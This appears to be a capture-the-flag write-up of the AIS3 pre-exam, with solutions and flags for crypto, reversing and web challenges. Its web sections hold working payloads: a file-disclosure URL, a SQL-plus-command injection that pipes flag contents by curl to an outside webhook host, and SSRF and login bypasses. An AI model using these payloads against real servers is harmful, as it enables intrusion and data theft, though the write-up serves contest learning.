

# AIS3 Preexam

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## Welcome

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### Cat Slayer <sup>fake</sup> | Nekogoroshi

- 暴力試出來的
- 密碼：2025830455298
- AIS3{H1n4m1z4w4\_Sh0k0gun}

## Misc

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### Microcheese

- code 邏輯本身有問題

```
while not game.ended():
    game.show()
    print_game_menu()
    choice = input('it\'s your turn to move! what do you choose? ').strip()

    if choice == '0':
        pile = int(input('which pile do you choose? '))
        count = int(input('how many stones do you remove? '))
        if not game.make_move(pile, count):
            print_error('that is not a valid move!')
            continue

    elif choice == '1':
        game_str = game.save()
        digest = hash.hexdigest(game_str.encode())
        print('you game has been saved! here is your saved game:')
        print(game_str + ':' + digest)
        return
```

```

elif choice == '2':
    break

# no move -> player wins!
if game.ended():
    win = True
    break
else:
    print_move('you', count, pile)
    game.show()

# the AI plays a move
pile, count = ai_player.get_move(game)
assert game.make_move(pile, count)
print_move('i', count, pile)

```

◦ 沒有處理輸入 0, 1, 2 以外的動作，所以說 AI 會一直行動

- 一直到剩下一個玩家直接拿走就可以贏了
- AIS3{5.\_e3\_b5\_6.\_a4\_Bb4\_7.\_Bd2\_a5\_8.\_axb5\_Bxc3}

## Blind

```

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>

int syscall_black_list[] = {};

void make_a_syscall()
{
    unsigned long long rax, rdi, rsi, rdx;
    scanf("%llu %llu %llu %llu", &rax, &rdi, &rsi, &rdx);
    syscall(rax, rdi, rsi, rdx);
}

```

```

int main()
{
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    puts("You can call a system call, then I will open the flag for you.");
    puts("Input: [rax] [rdi] [rsi] [rdx]");
    close(1);
    make_a_syscall();
    int fd = open("flag", O_RDONLY);
    char flag[0x100];
    size_t flag_len = read(fd, flag, 0xff);
    write(1, flag, flag_len);
    return 0;
}

```

- stdout 會被 close，所以沒有輸出
- 參考的資料：<https://www.796t.com/post/NGo3dQ==.html>
- 用 dup 來複製
- <https://filippo.io/linux-syscall-table/>
  - dup -> 32
- 本來要重啟 stdout 發現被關了，32 1 0 0
- 之後想說不然複製 stdin 好了 32 0 0 0 然後就拿到 flag 了
- AIS3{dupppppqqqqqub}

## [震撼彈] AIS3 官網疑遭駭！

- 開啟 pcap 檔案
- follow 一下 tcp stream 可以看到其中一個封包與眾不同，滿明顯就是 shell 了
- 他的 shell 是 reverse\_string(url\_encode(base64\_encode(command)))
- magic.ais3.org 經過 DNS 解析會錯誤
  - 在 /etc/hosts 加入 10.153.11.126 magic.ais3.org
- 之後在根目錄發現了 flag
- final payload：<http://magic.ais3.org:8100/Index.php?page=%3DQGN4EmYyIWZ4MW01QmMlFGNlV2MyE2NjZmMyIzMwYzYfdWYsZ2Lu4CI0F2Y>

- AIS3{0h!Why\_do\_U\_kn0w\_this\_sh3ll1!1l!}

# Crypto

## Microchip

- 改一下他的 code
- 暴力給 id 可以拿到相應的 key
- 就可以把 flag 解出來了

```
def generate_key(id):
    keys = list()
    temp = id
    for _ in range(4):
        keys.append(temp % 96)
        temp = int(temp / 96)
    keys.reverse()
    return keys

name = open("output.txt", "r").read().strip()

for i in range(96*96*96*96):
    keys = generate_key(i)
    padded = name

    result = ""
    for i in range(0, len(padded), 4):

        nums = list()
        for j in range(4):
            num = ord(padded[i + j]) - 32
            num = ((num - keys[j]) + 96) % 96
            nums.append(num + 32)

        result += chr(nums[3])
        result += chr(nums[2])
        result += chr(nums[1])
```

```
result += chr(nums[0])
```

```
if 'AIS3{' in result:  
    print(result)  
    break
```

- AIS3{w31c0me\_t0\_AIS3\_crypto0000o00oo0}

## Reverse



- `python3 -m pickletools flag_checker.pkl -a` 看 opcode
- 可以看到是很多 `__eq__` 去比較的
- 把它拼起來就可以拿到 flag 了
- AIS3{dAmwjzphIj}

## COLORS

- 把 code <http://www.jsnice.org/> 一下

```
'use strict';  
const _0x3eb4 = ["repeat", "1YqKovX", "NDBCMjBnMzBpNTFKNjA2MDFcMzB3NDAxMzBBNDFqNDBcNDExMzBnNzB1MzBpMTBrMzBsNDA3NjB4NTBpNTBYMTBLMTBJNDBo  
"131837PcDnWL", "19pQimXL", "623605MIswVM", "charCodeAt", "join", "4WsUYDr", "686oWrfyq", "body", "map", "getElementById", "textContent",  
/**  
 * @param {number} url  
 * @param {?} whensCollection  
 * @return {?}   
 */  
function _0x4ebd(url, whensCollection) {  
    /** @type {number} */  
    url = url - 454;  
    let _0x3eb4a7 = _0x3eb4[url];  
    return _0x3eb4a7;  
}  
(function(data, oldPassword) {
```

```

const toMonths = _0x4ebd;
for (; !![];) {
    try {
        const userPsd = -parseInt(toMonths(486)) + parseInt(toMonths(462)) * -parseInt(toMonths(478)) + -parseInt(toMonths(475)) + -parse
        if (userPsd === oldPassword) {
            break;
        } else {
            data["push"](data["shift"]());
        }
    } catch (_0xe36f7) {
        data["push"](data["shift"]());
    }
}
})(_0x3eb4, 359030), (() => {
/**
 * @param {?} params
 * @return {?}
 */
function init(params) {
    const unescape = internalizeProducer;
    if (!params[length]) {
        return "";
    }
    let a = "";
    let ipv6 = "";
    let frameNumber = 0;
    for (let i = 0; i < params[length]; i++) {
        a = a + params[charCodeAt](i)["toString"](2)[padStart](8, "0");
    }
    /** @type {number} */
    frameNumber = a[length] % max / 2 - 1;
    if (frameNumber !== -1) {
        a = a + "0"[repeat](max - a[length] % max);
    }
    a = a[unescape(484)](/(.{1,10})/g);
    for (let x of a) {
        let pivot = parseInt(x, 2);
        ipv6 = ipv6 + wrap(pivot >> 6 & 7, pivot >> 9, atob(wpoStr)[pivot & 63]);
    }
    for (; frameNumber > 0; frameNumber--) {
        ipv6 = ipv6 + wrap(frameNumber % fps, 0, "=");
    }
}

```

```

    }
    return ipv6;
}
const internalizeProducer = _0x4ebd;
const importSave = internalizeProducer(472);
const encodedChallengeObject = internalizeProducer(458);
const wpoStr = internalizeProducer(468);
const fps = 8;
const max = 10;
let obj;
let hour = 0;
let wrap = (tag, expressions, fn) => {
    return '<span><div class="c' + tag + " r" + expressions + "'>' + fn + "</div></span>";
};
let create = (str) => {
    return document[internalizeProducer(482)](internalizeProducer(460))["innerHTML"] = init(str);
};
document["addEventListener"](internalizeProducer(463), (result) => {
    const parseInt = internalizeProducer;
    if (result[parseInt(485)] === parseInt(455) && hour == 10) {
        obj[parseInt(483)] = obj["textContent"][parseInt(459)](0, obj["textContent"][parseInt(464)] - 1);
    } else {
        if (result["key"] === parseInt(470) && !(hour >> 1)) {
            return hour = hour + 1;
        } else {
            if (result[parseInt(485)] === "ArrowDown" && !(hour >> 2)) {
                return hour = hour + 1;
            } else {
                if (result[parseInt(485)] === parseInt(467) && (hour == 4 || hour == 6)) {
                    return hour = hour + 1;
                } else {
                    if (result[parseInt(485)] === "ArrowRight" && (hour == 5 || hour == 7)) {
                        return hour = hour + 1;
                    } else {
                        if (result[parseInt(485)] === "b" && hour == 8) {
                            return hour = hour + 1;
                        } else {
                            if (result["key"] === "a" && hour == 9) {
                                return document[parseInt(461)](parseInt(480))[0]["innerHTML"] += atob(importSave), obj = document[parseInt(482)](pars
                                return wrap(clean[0], clean[1], clean[2]));
                            }[parseInt(477)](""), hour = hour + 1;
                        }
                    }
                }
            }
        }
    }
});

```

```

} else {
    if (result[parseInt(485)][parseInt(464)] == 1 && hour == 10) {
        obj[parseInt(483)] += String["fromCharCode"](result[parseInt(485)][parseInt(476)]());
    } else {
        return;
    }
}

```

- 一開始看到 `arrowup arrowdown arrowright arrowleft b a` 就直接試 上上下下左左右右 `ba` 就進到下一步了
- 基本上 `function init` 是 `encode` 的方式
- 反過來做就可以了

```
function init(params) {
    const unescape = internalizeProducer;
    if (!params[length]) {
        return "";
    }
    let a = "";
    let ipv6 = "";
    let frameNumber = 0;
    for (let i = 0; i < params[length]; i++) {
        a = a + params[charCodeAt](i) ["toString"] (2) [padStart](8, "0");
    }
    /** @type {number} */
    frameNumber = a[length] % max / 2 - 1;
}
```



```

if (frameNumber != -1) {
    a = a + "0"[repeat](max - a[length] % max);
}
a = a[unescape(484)](/(.{1,10})/g);
for (let x of a) {
    let pivot = parseInt(x, 2);
    ipv6 = ipv6 + wrap(pivot >> 6 & 7, pivot >> 9, atob(wpoStr)[pivot & 63]);
}
for (; frameNumber > 0; frameNumber--) {
    ipv6 = ipv6 + wrap(frameNumber % fps, 0, "=");
}
return ipv6;
}

```

- 將字元轉成 charCode，然後轉成字串(二進位)並補到 8 位元
- 將結果補到 10 的倍數
- 將結果以 10 個字元一組，轉成數字
- 每組產出三個字元

```

data = ['40B', '20g', '30i', '51J', '606', '01\\', '30w', '401', '30A', '41j', '40\\', '411', '30g', '70u', '30i', '10k', '30l', '407',
fake = "AlS3{BasE64_i5+b0rNIng~\\Qwo/-xH8WzCj7vFD2eyVktq0L1GhKYufmZdJpX9}"
flag = ""
for d in data:
    num = 0
    num += int(d[0]) << 6
    num += int(d[1]) << 9
    num += fake.index(d[2])
    flag += "{0:010b}".format(num)

for i in range(0, len(flag), 8):
    print(chr(int(flag[i:i+8], 2)), end='')

print()

```

## 【5/22 重要公告】

- <http://quiz.ais3.org:8001/?module=modules/api&id=1> 很可疑
- <http://quiz.ais3.org:8001/?module=php://filter/convert.base64-encode/resource=modules/api&id=1> 拿到 source code

```
<?php
header('Content-Type: application/json');

include "config.php";
$db = new SQLite3(SQLITE_DB_PATH);

if (isset($_GET['id'])) {
    $data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=$_GET['id']", true);
    $host = str_replace(' ', '', $data['host']);
    $port = (int) $data['port'];
    $data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE;
    echo json_encode($data);
} else {
    $json_resp = [];
    $query_res = $db->query("SELECT * FROM challenges");
    while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row;
    echo json_encode($json_resp);
}
{"name":"Web Challenges Monitor","host":"quiz.ais3.org","port":8001,"alive":true}
```

- 明顯是 sql injection + command injection
- 注入點是 host 有過濾空白，用 \${IFS} bypass
- final payload: [http://quiz.ais3.org:8001/?module=modules/api&id=0%20union%20select%20%22name%22,%20%22quiz.ais3.org%27;curl\\${IFS}https://webhook.site/44c5027c-201c-4993-ab2d-fe2c6f444aa9?q=\\$\(echo\\${IFS}`cat\\${IFS}/f\\*`|base64\)%27%22,%208001](http://quiz.ais3.org:8001/?module=modules/api&id=0%20union%20select%20%22name%22,%20%22quiz.ais3.org%27;curl${IFS}https://webhook.site/44c5027c-201c-4993-ab2d-fe2c6f444aa9?q=$(echo${IFS}`cat${IFS}/f*`|base64)%27%22,%208001)
- AIS3{o1d\_skew1\_w3b\_tr1cks\_co1lect10n:D}

## another login page

```

from flask import Flask, request, make_response, redirect, session, render_template, send_file
import os
import json

app = Flask(__name__)
app.secret_key = os.urandom(32)

FLAG = os.environ.get('FLAG', 'AIS3{TEST_FLAG}')
users_db = {
    'guest': 'guest',
    'admin': os.environ.get('PASSWORD', 'S3CR3T_P455W0RD')
}

@app.route("/")
def index():
    def valid_user(user):
        return users_db.get(user['username']) == user['password']

    if 'user_data' not in session:
        return render_template("login.html", message="Login Please :D")

    user = json.loads(session['user_data'])
    if valid_user(user):
        if user['showflag'] == True and user['username'] != 'guest':
            return FLAG
        else:
            return render_template("welcome.html", username=user['username'])

    return render_template("login.html", message="Verify Failed :(")

@app.route("/login", methods=['POST'])
def login():
    data = '{"showflag": false, "username": "%s", "password": "%s"}' % (
        request.form["username"], request.form['password']
    )
    session['user_data'] = data
    return redirect("/")

```

```

@app.route("/logout")
def logout():
    session.clear()
    return redirect("/")

@app.route("/sauce")
def sauce():
    return send_file(__file__, mimetype="text/plain")

if __name__ == '__main__':
    app.run(threaded=True, debug=True)

```

- 構造出：{"showflag": false, "username": "123", "password": "123", "showflag": true, "password": null, "qwe": "qwe"} 就可以過了
- final payload: curl -X POST --data 'username=123&password=123', "showflag": true, "password": null, "qwe": "qwe" http://quiz.ais3.org:8002/login -v
- 把 cookie 貼上去就有 flag 了
- AIS3{/r/badUIbattles?!?!}

## HaaS

- 明顯是 ssrf 因為試 127.0.0.1 被擋下來了
- 用 127.00000.00000.0001 bypass
- 之後會是 Alive 加上有送 status 把 status 改一下就可以拿到 source code 了
- final payload: curl -X POST --data 'url=http://127.00000.00000.0001/&status=400' http://quiz.ais3.org:7122/haas -v
- AIS3{V3rY\_v3rY\_V3ry\_345Y\_55rF}